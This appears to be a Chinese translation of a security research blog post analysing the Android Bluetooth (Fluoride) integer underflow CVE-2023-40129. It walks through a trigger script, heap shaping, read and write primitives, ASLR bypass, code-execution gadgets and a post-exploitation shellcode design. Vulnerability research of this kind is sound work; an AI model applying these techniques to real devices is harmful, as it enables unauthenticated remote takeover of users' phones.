深入剖析蓝牙栈攻击:CVE-2023-40129漏洞的完整利用链

本文详细分析了Android蓝牙栈(氟化物)中的高危漏洞CVE-2023-40129,这是一个无需用户交互或认证的整数下溢漏洞,可导致远程代码执行。文章深入探讨了针对Jemalloc和Scudo两种分配器的利用策略,包括堆布局、原语构建和代码执行。

Paint it blue: Attacking the bluetooth stack

蓝牙一直是攻击者有吸引力的目标,因为它几乎无处不在(电视、汽车充电器、智能冰箱等)。在移动设备上尤其如此,它在其中以特权进程运行,可以潜在访问麦克风、通讯录等。 2023年9月和10月,Android发布了关于其蓝牙栈(氟化物)中关键漏洞的安全公告,这些漏洞可能导致远程代码执行。CVE-2023-40129是GATT协议中的一个整数下溢漏洞,无需用户交互或认证即可访问。其利用被证明非常困难,因为它会导致64 KB的堆溢出,如同海啸般摧毁沿途的一切,使蓝牙进程几乎必死无疑。 在这篇博客文章中,我们详细介绍了如何在Android的两种原生分配器:Scudo和Jemalloc上利用此漏洞。

蓝牙栈

上图说明了蓝牙栈。它分为两个主要部分:控制器栈位于蓝牙芯片中,而主机栈由操作系统实现。HCI(主机控制器接口)接口允许两个组件之间的通信。控制器主要管理物理和逻辑传输。我们的利用依赖于ACL,即路由数据帧的异步传输。在Android上,主机栈——称为氟化物——作为守护进程在用户空间运行。一旦ACL链路建立,可以发起L2CAP(逻辑链路控制和适配协议)连接以访问各种蓝牙服务(BNEP、HID、AVCTP等),这些服务提供众所周知的功能,如网络共享、视频流等。每个服务由唯一的协议服务复用器标识:

服务 PSM
SDP(服务发现协议) 0x0001
RFCOMM(无线电频率通信) 0x0003
BNEP(蓝牙网络封装协议) 0x000F
HID(人机接口设备) 0x0011(控制),0x0013(中断)
AVCTP(音频/视频控制传输协议) 0x0017(控制),0x001B(浏览)
AVDTP(音频/视频数据传输协议) 0x0019
GATT(通用属性协议) 0x001F
GAP(通用访问配置文件) 0x1001, 0x1003, 0x1005, 0x1007

每个服务的相关代码位于system/stack/目录中。每个服务通过以下API注册:

1
2
3
4
uint16_t L2CA_Register2(uint16_t psm, const tL2CAP_APPL_INFO& p_cb_info,
                        bool enable_snoop, tL2CAP_ERTM_INFO* p_ertm_info,
                        uint16_t my_mtu, uint16_t required_remote_mtu,
                        uint16_t sec_level)

参数sec_level定义访问服务的安全级别。大多数服务要求连接经过身份验证和加密。 只有极少数服务无需身份验证即可访问——包括SDP、RFCOMM和GATT。但即使连接开始时未经身份验证,某些操作(如写入GATT属性)可能随后要求身份验证,从而进一步减少攻击面。

BlueBlue 框架

基于BlueBorne项目的L2CAP测试框架,我们开发了自己的名为BlueBlue的框架。它使用Scapy构建和解析HCI帧。该框架允许建立ACL链路并打开L2CAP连接。 它还支持蓝牙规范中的多种功能,如L2CAP分段和ERTM传输模式。它实现了我们使用的所有主机栈功能,这使我们有很大的自由探索新的想法。 只需几行代码,我们就可以建立ACL连接,连接到L2CAP服务,发送命令并接收响应:

1
2
3
4
acl = ACLConnection(src_bdaddr, dst_bdaddr, auth_mode = 'justworks')
gatt = acl.l2cap_connect(psm=PSM_ATT, mtu=672)
gatt.send_frag(p8(GATT_READ)+p16(1234))
print(gatt.recv())

漏洞

CVE-2023-40129是GATT服务器中的一个漏洞。GATT协议用于公开简单的键值类型属性。键是16位的句柄,而值是简单的原始数据。操作码GATT_REQ_READ_MULTI_VAR允许一次读取多个属性。 请求由操作码GATT_REQ_READ_MULTI_VAR后跟GATT句柄列表组成: ![请求结构示意图] 响应由操作码GATT_RSP_READ_MULTI_VAR后跟每个请求属性的长度和值组成: ![响应结构示意图]

请求在函数gatt_process_read_multi_req()中处理,该函数负责获取请求属性的值:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
for (ll = 0; ll < multi_req->num_handles; ll++) {
  tGATTS_RSP* p_msg = (tGATTS_RSP*)osi_calloc(sizeof(tGATTS_RSP));
  handle = multi_req->handles[ll];
  auto it = gatt_sr_find_i_rcb_by_handle(handle);

  p_msg->attr_value.handle = handle;
  err = gatts_read_attr_value_by_handle(
    tcb, cid, it->p_db, op_code, handle, 0, p_msg->attr_value.value,
    &p_msg->attr_value.len, GATT_MAX_ATTR_LEN, sec_flag, key_size,
    trans_id);

  if (err == GATT_SUCCESS) {
    gatt_sr_process_app_rsp(tcb, it->gatt_if, trans_id, op_code,
                            GATT_SUCCESS, p_msg, sr_cmd_p);
  }
  /* either not using or done using the buffer, release it now */
  osi_free(p_msg);
}

函数gatt_sr_process_app_rsp()为每个属性调用。它将检索到的属性值(封装在变量p_msg中)传递给process_read_multi_rsp()函数,该函数将其复制到新分配的结构中,然后放入队列:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static bool process_read_multi_rsp(tGATT_SR_CMD* p_cmd, tGATT_STATUS status,
                                   tGATTS_RSP* p_msg, uint16_t mtu)
{

  if (p_cmd->multi_rsp_q == NULL)
    p_cmd->multi_rsp_q = fixed_queue_new(SIZE_MAX);

  /* Enqueue the response */
  BT_HDR* p_buf = (BT_HDR*)osi_malloc(sizeof(tGATTS_RSP));
  memcpy((void*)p_buf, (const void*)p_msg, sizeof(tGATTS_RSP));
  fixed_queue_enqueue(p_cmd->multi_rsp_q, p_buf);

  p_cmd->status = status;
  if (status == GATT_SUCCESS) {
    /* Wait till we get all the responses */
    if (fixed_queue_length(p_cmd->multi_rsp_q) ==
        p_cmd->multi_req.num_handles) {
      build_read_multi_rsp(p_cmd, mtu);
      return (true);
    }
  } else /* any handle read exception occurs, return error */
  {
    return (true);
  }

  /* If here, still waiting */
  return (false);
}

漏洞位于函数build_read_multi_rsp()中,该函数负责构建响应消息:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
static void build_read_multi_rsp(tGATT_SR_CMD* p_cmd, uint16_t mtu) {
  uint16_t ii, total_len, len;
  uint8_t* p;
  bool is_overflow = false;

  len = sizeof(BT_HDR) + L2CAP_MIN_OFFSET + mtu;                        // [0]
  BT_HDR* p_buf = (BT_HDR*)osi_calloc(len);
  p_buf->offset = L2CAP_MIN_OFFSET;
  p = (uint8_t*)(p_buf + 1) + p_buf->offset;

  /* First byte in the response is the opcode */
  if (p_cmd->multi_req.variable_len)
    *p++ = GATT_RSP_READ_MULTI_VAR;
  else
    *p++ = GATT_RSP_READ_MULTI;

  p_buf->len = 1;

  /* Now walk through the buffers putting the data into the response in order
   */
  list_t* list = NULL;
  const list_node_t* node = NULL;
  if (!fixed_queue_is_empty(p_cmd->multi_rsp_q))
    list = fixed_queue_get_list(p_cmd->multi_rsp_q);
  for (ii = 0; ii < p_cmd->multi_req.num_handles; ii++) {
    tGATTS_RSP* p_rsp = NULL;

    if (list != NULL) {
      if (ii == 0)
        node = list_begin(list);
      else
        node = list_next(node);
      if (node != list_end(list)) p_rsp = (tGATTS_RSP*)list_node(node); // [1]
    }

    if (p_rsp != NULL) {
      total_len = (p_buf->len + p_rsp->attr_value.len);                 // [2.1]
      if (p_cmd->multi_req.variable_len) {
        total_len += 2;                                                 // [2.2]
      }

      if (total_len > mtu) {
        /* just send the partial response for the overflow case */
        len = p_rsp->attr_value.len - (total_len - mtu);                // [3]
        is_overflow = true;
        VLOG(1) << StringPrintf(
            "multi read overflow available len=%d val_len=%d", len,
            p_rsp->attr_value.len);
      } else {
        len = p_rsp->attr_value.len;
      }

      if (p_cmd->multi_req.variable_len) {
        UINT16_TO_STREAM(p, len);
        p_buf->len += 2;
      }

      if (p_rsp->attr_value.handle == p_cmd->multi_req.handles[ii]) {
        memcpy(p, p_rsp->attr_value.value, len);                        // [4]
        if (!is_overflow) p += len;
        p_buf->len += len;
      } else {
        p_cmd->status = GATT_NOT_FOUND;
        break;
      }

      if (is_overflow) break;

    } else {
      // [...]
    }
  } /* loop through all handles*/
  // [...]
}

在函数顶部[0],我们可以看到分配了包含响应缓冲区的结构(p_buf)。分配的缓冲区大小取决于MTU,可以在打开L2CAP通道时配置。 接下来的代码段遍历GATT属性列表[1],并检查它们是否可以放入响应消息中。也就是说,对于每个属性,函数计算消息的预期总长度([2.1]和[2.2]),并检查它是否超过MTU。如果没有足够的空间来存储属性,则计算可以复制到缓冲区中的数据最大大小,如[3]所示。然而,len的计算是错误的,因为它没有考虑[2.2]中的加法。这个整数下溢导致[4]处发生基于堆的溢出(正如is_overflow = true指令所讽刺地预测的那样)。

以下代码片段触发了该漏洞。它连接到GATT通道并将MTU配置为55。然后,它请求属性9(16字节)4次:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
acl = ACLConnection(interface, bdaddr)

gatt = acl.l2cap_connect(psm=PSM_ATT, mtu=55)

pkt = b'\x20'   # GATT_REQ_READ_MULTI_VAR OPCODE 
pkt += p16(9)   # 16-byte attr
pkt += p16(9)   # 16-byte attr
pkt += p16(9)   # 16-byte attr
pkt += p16(9)   # 16-byte attr

gatt.send(pkt)

溢出发生在尝试插入最后一个属性时。具体来说,在[3]处,p_buf->len的值为55(1+ 3*(16+2)),total_len为73。因此,len将下溢到-2(0xfffe),导致响应缓冲区中约64 KB的溢出。

最近,在OffensiveCon 2025上,发现该漏洞的Google Android红队演示了针对类似漏洞(CVE-2023-35673)在Pixel设备上的PoC利用。然而,他们的利用假设ASLR被禁用且攻击者已与目标设备配对。在接下来的章节中,我们详细介绍了在不依赖这些假设的情况下利用氟化物的利用策略。

Just Works, Still Works

2017年,BlueBorne文章披露了多个影响BlueZ(Linux栈)和氟化物(Android栈)的关键蓝牙漏洞。该文档描述了蓝牙规范中一种“晦涩”的身份验证方法:Just Works。Just Works身份验证模式允许无需用户交互的临时配对。它用于简单安全配对(Secure Simple Pairing - SSP),与没有键盘或显示屏的设备配对。在这种情况下,身份验证发生在没有PIN码验证的情况下。

我们在BlueBlue框架中实现了Just Works身份验证模式,并确认它在Android 13上仍然有效。 Just Works身份验证有一些限制。首先,氟化物将连接视为容易受到中间人(MITM)攻击,这阻止了对某些功能的访问,如读取或写入受保护的GATT属性。其次,使用Just Works会破坏与共享相同BDADDR地址的设备之间任何现有的配对。尽管有其局限性,这种身份验证模式仍然允许我们建立到各种蓝牙服务(如GAP、BNEP和AVCTP)的L2CAP连接。虽然触发该漏洞不需要预先身份验证,但我们利用它的方式需要连接到多个L2CAP通道。这就是Just Works模式发挥作用的地方。

利用原语

持久数据分配

利用此漏洞需要非常精确的堆塑造策略,以避免蓝牙守护进程因堆状态损坏而崩溃。

我们审计了氟化物的源代码,并识别了可以被滥用以强制进行大小可控、数据可控的分配并使这些分配持久化的功能。例如,在配置L2CAP通道时,如果配对设备不识别配置选项,它将发送被拒绝选项的精确副本(CONFIG REJ消息)。配置选项由类型(1字节字段)、长度(1字节字段)和大小任意的实际值组成,其内容完全可控。包含被拒绝选项的响应的分配在以下函数中进行:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
void l2cu_send_peer_config_rej(tL2C_CCB* p_ccb, uint8_t* p_data,
                               uint16_t data_len, uint16_t rej_len) {
    uint16_t len, cfg_len, buf_space, len1;
    uint8_t *p, *p_hci_len, *p_data_end;
    uint8_t cfg_code;

    /* ... */

    len = BT_HDR_SIZE + HCI_DATA_PREAMBLE_SIZE + L2CAP_PKT_OVERHEAD +
          L2CAP_CMD_OVERHEAD + L2CAP_CONFIG_RESP_LEN;

    BT_HDR* p_buf = (BT_HDR*)osi_malloc(len + rej_len);

    /* ... */
}

一旦它被返回给发起连接的配对设备,分配就会被释放。但是,我们可以通过拥塞使其持久化。

拥塞

蓝牙规范在ACL层提供了流控制功能。如果其ACL接收缓冲区已满,蓝牙控制器可以清除其发送的ACL数据包头中的FLOW位,以防止配对设备在接收缓冲区被处理时发送更多数据包。此功能通常不暴露给主机,但我们可以通过修改控制器的固件来操纵它。幸运的是,Cypress控制器甚至有一个专有的HCI命令来启用它,因此模拟ACL拥塞相当简单。在这种状态下,一个配对设备(被声明为拥塞)仍然可以向远程设备发送数据包,但无法接收响应。远程设备将处理这些数据包,但无法响应。氟化物栈适当地处理拥塞。因此,如果我们的控制器声明ACL拥塞时发送无效的配置请求,氟化物将不会发回响应,而是将它们保存在队列中,直到拥塞停止。

值得注意的是,拥塞受配额限制。一旦达到配额,额外的消息将被丢弃而不是排队。但是,L2CAP信令通道不受此限制,这意味着我们可以分配几乎无限数量的CONFIG REJ响应消息。我们可以通过关闭相关的ACL连接来释放所有这些分配。

同样重要的是要注意,拥塞在氟化物栈级别被延迟,第一批响应将在发送到控制器后立即释放。以下函数检查数据包是否可以发送到控制器:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
void l2c_link_check_send_pkts(tL2C_LCB* p_lcb, uint16_t local_cid,
                              BT_HDR* p_buf) {
    /* ... */
    while(((l2cb.controller_xmit_window != 0 &&
        (p_lcb->transport == BT_TRANSPORT_BR_EDR)) ||
        (l2cb.controller_le_xmit_window != 0 &&
        (p_lcb->transport == BT_TRANSPORT_LE))) &&
        (p_lcb->sent_not_acked < p_lcb->link_xmit_quota)) {
            p_buf = l2cu_get_next_buffer_to_send(p_lcb);
            if (p_buf == NULL) {
                LOG_DEBUG("No next buffer, skipping");
                break;
            }
            LOG_DEBUG("Sending to lower layer");
            l2c_link_send_to_lower(p_lcb, p_buf);
        }
    }
    /* ... */
}

检查基于变量controller_xmit_window,该变量在函数l2c_link_send_to_lower_br_edr()中每次数据包传输到底层控制器时递减。其值在l2c_packets_completed中按确认的数据包数量递增。

ERTM传输模式

ERTM是建立在L2CAP之上的额外传输层,为其增加了可靠性:序列号、确认和重传。我们可以以两种不同的方式滥用此模式来强制进行持久分配:

  1. 发送具有意外序列号的L2CAP片段,例如seq_tx = 1。只要序列号为seq_tx = 0的消息尚未发送,远程配对设备将保留所有后续消息在内存中。此行为很有用,因为它允许我们分配大小和内容受控的消息。
  2. 强制氟化物发送一个ERTM片段,但故意不确认它。该片段将保留在内存中,只要我们未确认它,我们可以在任何时候请求重传。

这两种技术中的每一种都允许每个L2CAP连接分配最多10个持久消息(这就是为什么我们不能依赖ERTM进行喷洒)。只有少数L2CAP通道(如GAP和AVCTP)支持ERTM模式,并且所有这些都需要与配对设备进行身份验证。

相对读原语

BT_HDR结构是一个有趣的目标。它广泛用于蓝牙代码库中,以表示各种数据,如L2CAP消息和ERTM片段:

1
2
3
4
5
6
7
typedef struct {
    uint16_t event;
    uint16_t len;
    uint16_t offset;
    uint16_t layer_specific;
    uint8_t data[];
} BT_HDR;

BT_HDR结构具有可变长度。字段len表示数据缓冲区的长度。它还包括一个offset字段,指示数据在数据字段中的起始位置。为了在堆中构建相对读原语,我们可以重写待发送队列中待处理的ERTM片段的len字段并增加其大小,从而泄漏进程com.android.bluetooth的堆内容。

AVCTP浏览通道是构建读原语的良好候选。它使用ERTM,我们可以强制它传输大小受控的响应。GET_FOLDER_ITEMS请求允许我们请求音乐播放列表的元数据(例如,艺术家、歌曲名称、专辑名称)。通过发送带有精心选择属性的GET_FOLDER_ITEMS请求,我们可以使响应分配落入与易受攻击缓冲区相同的bin类中。如果我们修改与GET_FOLDER_ITEMS响应相关的BT_HDR结构,我们可以通过请求重传修改后的消息来泄漏信息。

相对写原语

ERTM支持分段。消息在函数do_sar_reassembly()中重新组装。在接收到第一个片段时,该函数使用初始片段中指定的大小分配一个BT_HDR结构:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
if (sar_type == L2CAP_FCR_START_SDU) {
    /* Get the SDU length */
    STREAM_TO_UINT16(p_fcrb->rx_sdu_len, p);
    p_buf->offset += 2;
    p_buf->len -= 2;

    if (p_fcrb->rx_sdu_len > p_ccb->max_rx_mtu) {
        L2CAP_TRACE_WARNING("SAR - SDU len: %u  larger than MTU: %u",
                            p_fcrb->rx_sdu_len, p_ccb->max_rx_mtu);
        packet_ok = false;
    } else {
        p_fcrb->p_rx_sdu = (BT_HDR*)osi_malloc(
            BT_HDR_SIZE + OBX_BUF_MIN_OFFSET + p_fcrb->rx_sdu_len);
        p_fcrb->p_rx_sdu->offset = OBX_BUF_MIN_OFFSET;
        p_fcrb->p_rx_sdu->len = 0;
    }
}

后续片段使用BT_HDR结构的lenoffset字段进行复制:

1
2
3
4
memcpy(((uint8_t*)(p_fcrb->p_rx_sdu + 1)) + p_fcrb->p_rx_sdu->offset +
       p_fcrb->p_rx_sdu->len, p, p_buf->len);

p_fcrb->p_rx_sdu->len += p_buf->len;

因此,通过破坏offset字段,然后发送带有数据的第二个片段,我们获得了一个相对写原语。

ASLR绕过和PC控制

氟化物栈使用libchrome的callback对象来处理各种事件。这个对象对于构建利用原语很有用,因为它有一个在callback触发时被调用的函数指针,以及传递给它的一些参数。因此,泄漏此对象将揭示libbluetooth的基地址,重写它将使我们能够控制执行流。

SDP Discovery Callback特别有趣,因为我们控制其分配,并且可以随时触发callback:

  • callback对象在打开AVRCP通道时,在函数SdpLookup中分配:
     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    
    bool ConnectionHandler::SdpLookup(const RawAddress& bdaddr, SdpCallback cb,
                                      bool retry) {
    
        /* ... */
    
        return avrc_->FindService(UUID_SERVCLASS_AV_REMOTE_CONTROL, bdaddr,
                                  &db_params,
                                  base::Bind(&ConnectionHandler::SdpCb,
                                             weak_ptr_factory_.GetWeakPtr(), bdaddr,
                                             cb, disc_db, retry)) == AVRC_SUCCESS;
    }
    
    Bind()方法负责分配callback对象(0x60字节)。callback结构填充了函数指针SdpCb及其参数:
    1
    2
    3
    
    void ConnectionHandler::SdpCb(RawAddress bdaddr, SdpCallback cb,
                                  tSDP_DISCOVERY_DB* disc_db, bool retry,
                                  uint16_t status)
    
  • callback在函数avrc_sdp_cback()中被调用:
     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    
    /******************************************************************************
    *
    * Function         avrc_sdp_cback
    *
    * Description      This is the SDP callback function used by A2DP_FindService.
    *                  This function will be executed by SDP when the service
    *                  search is completed.  If the search is successful, it
    *                  finds the first record in the database that matches the
    *                  UUID of the search.  Then retrieves various parameters
    *                  from the record.  When it is finished it calls the
    *                  application callback function.
    *
    * Returns          Nothing.
    *
    *****************************************************************************/
    static void avrc_sdp_cback(tSDP_STATUS status) {
        AVRC_TRACE_API("%s status: %d", __func__, status);
    
        /* reset service_uuid, so can start another find service */
        avrc_cb.service_uuid = 0;
    
        /* return info from sdp record in app callback function */
        avrc_cb.find_cback.Run(status);
    
        return;
    }
    

重写callback对象允许触发具有完全受控参数的任意函数调用。我们可以通过断开SDP通道的连接来触发callback,该通道是在连接到AVRCP浏览通道时由远程设备建立的。

在运行Jemalloc的设备上执行代码

利用场景

为了在使用Jemalloc的设备上获得代码执行,我们采用了以下策略:

  1. 塑造堆以重写两个BT_HDR对象。第一个引用待发送队列中待处理的ERTM消息(reader),而第二个对应于待接收队列中待处理的ERTM片段(writer)。
  2. 触发溢出并破坏reader和writer对象。
  3. 分配callback对象(executor)。
  4. 请求重传修改后的数据包。
  5. 检索callback对象的内容。
  6. 使用相对写原语重写callback对象的内容。
  7. 触发callback。

堆塑造

第一步是塑造堆,以便用受控数据重写reader和writer对象。我们依赖于前面章节中描述的功能,例如拥塞和ERTM传输模式。具体来说,我们采用了以下策略来控制溢出的来源,并在目标bin中排列对象。

  1. 启用ACL拥塞。
  2. 喷洒多个CONFIG REJ消息。
  3. 在喷洒过程中交错分配ERTM消息,以seq_tx > 0开始序列。ERTM分配用于在堆中创建“空洞”。
  4. 禁用ACL拥塞。CONFIG REJ分配被释放。
  5. 通过例如关闭相关连接来释放ERTM分配。ERTM分配被与GATT相关的对象在缓冲区溢出时重用。

下图说明了控制溢出源的堆状态。首先,我们喷洒几十个CONFIG REJ消息,以强制蓝牙栈级别的拥塞。然后,我们交替分配ERTM消息和CONFIG REJ消息,使得每个ERTM消息后面跟着受控数据。释放后,ERTM分配将被GATT对象(t_GATTS_RSP)重用,这些对象包含将被复制到易受攻击对象中的属性值。 ![堆状态示意图]

现在我们已经有了控制溢出源所需的堆状态,让我们看看如何在同一bin中排列对象(reader、writer和executor)。作为参考,易受攻击对象的大小取决于MTU大小,计算如下:

1
len = sizeof(BT_HDR) + L2CAP_MIN_OFFSET + mtu; // 8 + 13 + MTU

我们决定以用于分配callback对象(executor)的相同bin为目标。通过应用与塑造源相同的策略,我们获得了所需的堆状态。在下图中,executor(callback)对象在溢出之后分配。 ![堆布局示意图]

ASLR泄漏

通过破坏reader对象的len字段,我们可以泄漏高达64 KB的数据,其中包括executor对象的内容。它包含多个函数指针,可用于推断libbluetooth库的基地址。通过分析泄漏的数据,我们注意到在某些情况下,art::Thread对象存在其中。它包含libart、libm和libc库中的多个函数指针。由于此对象很少出现在泄漏中,我们决定不在利用中使用它。

代码执行

通过重写SDP Discovery Callback对象获得代码执行。我们可以通过修改RunSdpCb函数指针来实现。Run函数的唯一目的是准备并分派对实际callback SdpCb的调用。然而,这些指针都不实用,因为我们对参数没有精细的控制。

为了完全控制参数,我们决定重写Run函数指针以调用以下函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
__int64 __fastcall sub_5e023c(__int64 callback)
{
    __int64 v1;
    char *v2;
    __int64 *v3;

    v1 = *(_QWORD *)(callback + 0x28);
    v2 = *(char **)(callback + 0x20);
    v3 = (__int64 *)(*(_QWORD *)(callback + 0x30) + (v1 >> 1));
    if ( (v1 & 1) != 0 )
        v2 = *(char **)&v2[*v3];
    return ((__int64 (__fastcall *)(__int64 *, _QWORD, _QWORD, _QWORD, _QWORD))v2)(
               v3,
               *(_QWORD *)(callback + 0x38),
               *(_QWORD *)(callback + 0x40),
               *(unsigned __int8 *)(callback + 0x48),
               *(unsigned int *)(callback + 0x4C));
}

这个函数(gadget函数)允许我们调用任意函数,同时控制5个参数,其中前三个是QWORD。目标函数及其参数都从传递给gadget的对象中提取。

现在我们控制了参数,让我们看看如何调用多个函数。

函数list_clear接受一个list_t结构作为输入,并为列表中的每个节点调用list_free_node()函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
void list_clear(list_t* list) {
    CHECK(list != NULL);
    for (list_node_t* node = list->head; node;)
        node = list_free_node_(list, node);
    list->head = NULL;
    list->tail = NULL;
    list->length = 0;
}

static list_node_t* list_free_node_(list_t* list, list_node_t* node) {
    CHECK(list != NULL);
    CHECK(node != NULL);

    list_node_t* next = node->next;

    if (list->free_cb) list->free_cb(node->data);
    list->allocator->free(node);
    --list->length;

    return next;
}

通过注入一个具有多个节点的假list结构,我们可以调用任意多个函数。由于我们只需要调用两个函数,我们使用了更简单的方法:通过list->free_cb()进行第一次调用,通过list->allocator->free()进行第二次调用。这些调用足以调用mprotect()——使我们的shellcode页面可执行——然后跳转到shellcode。

拼图中唯一缺失的部分是将任意数据放置在已知地址:shellcode和所有执行它所需的结构(假的list和node对象)。

callback对象为我们提供了一个指向0x1010字节堆缓冲区的指针。通过在分配callback对象之后立即喷洒相同大小的对象(带有受控数据),它们很有可能在内存中连续放置。这使我们能够推断出受控数据驻留的地址。

下图说明了如何劫持执行流以执行我们的shellcode,并总结如下:

  1. 通过重写callback对象以调用gadget()函数获得代码执行。
  2. gadget函数使用假list对象(黄色)调用list_clear函数。
  3. list->free_cb(node->data)指令再次调用gadget函数以准备调用mprotect()(粉色)。
  4. list->allocator->free(node)指令通过调用带有假node对象(绿色)作为参数的gadget函数来执行shellcode。 ![代码执行流程示意图]

在运行Scudo的设备上执行代码

关于Scudo分配器的说明

Scudo是一种内存分配器,设计时注重效率和安全性。以下部分重点介绍服务于小分配(< 0x10000字节)的主分配器。

Scudo将内存组织成区域,每个区域专用于特定大小类别(类ID)的分配。在这些区域内,内存被分成块。一个块由16字节的元数据后跟一个块——调用malloc()时返回给程序的实际内存单元组成。

当一个线程请求内存时,分配器首先检查线程本地缓存中是否有合适大小类别的可用块。如果找到块,则立即返回。如果缓存为空,Scudo会尝试从全局空闲块列表(global freelist)中检索一个TransferBatch——一组预分配的块——以填充缓存。如果没有可用的批次,Scudo会从专用于该大小类别的区域中分配内存,将其分割成单独的块,随机化它们的顺序以减轻利用,并将它们分组为一个或多个TransferBatches。其中一个批次返回给请求线程,而其他批次则存储在全局缓存中以供将来使用。

有关Scudo分配器的更多信息,我们建议您阅读Kevin Denis之前的一篇博客文章。

Scudo具有安全措施,使得难以复制为Jemalloc采用的相同攻击场景:

  1. 内存块以校验和(checksum)为前缀,在释放块时进行检查。也就是说,如果我们破坏块的元数据然后释放它,程序将中止。
  2. 内存块被洗牌。在这种情况下,难以建立相对写原语,这假设callback对象可以从固定偏移量访问。

为了克服第一个问题,一种方法是塑造堆,使得只破坏空闲块或受控且持久的块。 关于洗牌机制,它是按批次内存块而不是一次性应用于整个区域。每批随机化的块数取决于大小类别。对于小于0x350字节的内存块(大小类别ID为1到15),该值等于52(4 * 13),这是TransferBatches数量与每个TransferBatch内内存块数量的乘积。因此,通过在易受攻击的对象和目标对象之间插入N = 52个中间分配,可以将目标放置在溢出范围内,从而使其可被破坏: ![Scudo堆布局示意图]

利用场景

由于我们无法建立相对写原语,我们将触发溢出两次!

  1. 第一次溢出以reader对象为目标,以获取libbluetooth库的基地址。
  2. 第二次溢出以executor(callback)对象为目标,以触发代码执行。

并希望在64 KB的堆数据损坏后存活下来。

堆塑造

我们采用略有不同的堆塑造策略来控制溢出的来源。像往常一样,我们依赖拥塞来喷洒数百个CONFIG REJ消息,并使用ERTM传输在堆中创建“空洞”。

下图说明了溢出之前和之后的源数据。我们使用ERTM消息为各种GATT属性保留空间。重要的是要注意,ERTM消息按照它们分配的顺序释放。第一个分配的ERTM消息是易受攻击的GATT分配(以绿色显示)将重用的那个。我们分隔此特定ERTM消息的分配,使其后面跟着多个包含受控数据的CONFIG REJ响应。 ![Scudo源数据示意图]

内存泄漏

不幸的是,泄漏前面利用中使用的callback内容的尝试未成功。然而,在泄漏的数据中始终观察到第二个callback对象。该对象由函数ActivityAttribution::Capture()分配,该函数负责记录HCI数据包。此对象包含多个函数指针,使我们能够推断进程的基地址以及稍后将托管我们payload的分配位置。

代码执行

通过第二次触发漏洞破坏Jemalloc利用中使用的SDP Discovery Callback来实现代码执行。然而,由于内存块随机化,难以可靠地重写callback对象的所有字段。

一种解决方案是将Run函数指针的地址破坏为以下gadget的地址:

1
2
3
4
5
6
LDR  X0, [X0]
MOV  W8, W1
MOV  W1, W2
MOV  W2, W8
LDR  X3, [X0,#8]
BR   X3

通过此pivot gadget进行利用只需要破坏callback对象的两个特定字段即可劫持执行流,如下图所示: ![Scudo代码执行流程示意图]

利用后

shellcode通过蓝牙安装一个命令处理程序,提供与目标交互的有用功能,例如执行shell命令或将文件上传到设备。具体来说,shellcode首先修补函数l2c_rcv_acl_data()以将其重定向到我们的命令处理程序。每当从控制器接收到消息时,都会调用此函数。

shellcode还注册一个信号处理程序以拦截SIGSEGV信号,防止进程com.android.bluetooth因64 KB溢出引起的不稳定而重启。

结论

CVE-2023-40129是蓝牙栈中的一个关键漏洞,无需用户交互或预先身份验证。我们成功利用它在运行Jemalloc(Xiaomi 12T)和Scudo(Samsung A54)的Android设备上获得远程代码执行。

这些利用并非完全可靠,通常会导致蓝牙进程崩溃。但是,蓝牙守护程序会静默重启,因此我们可以一次又一次地重试利用。我们进行了基本测试,发现平均而言,在Jemalloc设备上获得shell的估计时间约为2分钟,在Scudo设备上最多可达5分钟。

Gabeldorsche栈 (GD)

Gabeldorsche栈在Android 12中引入,并在Android 13中成为

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计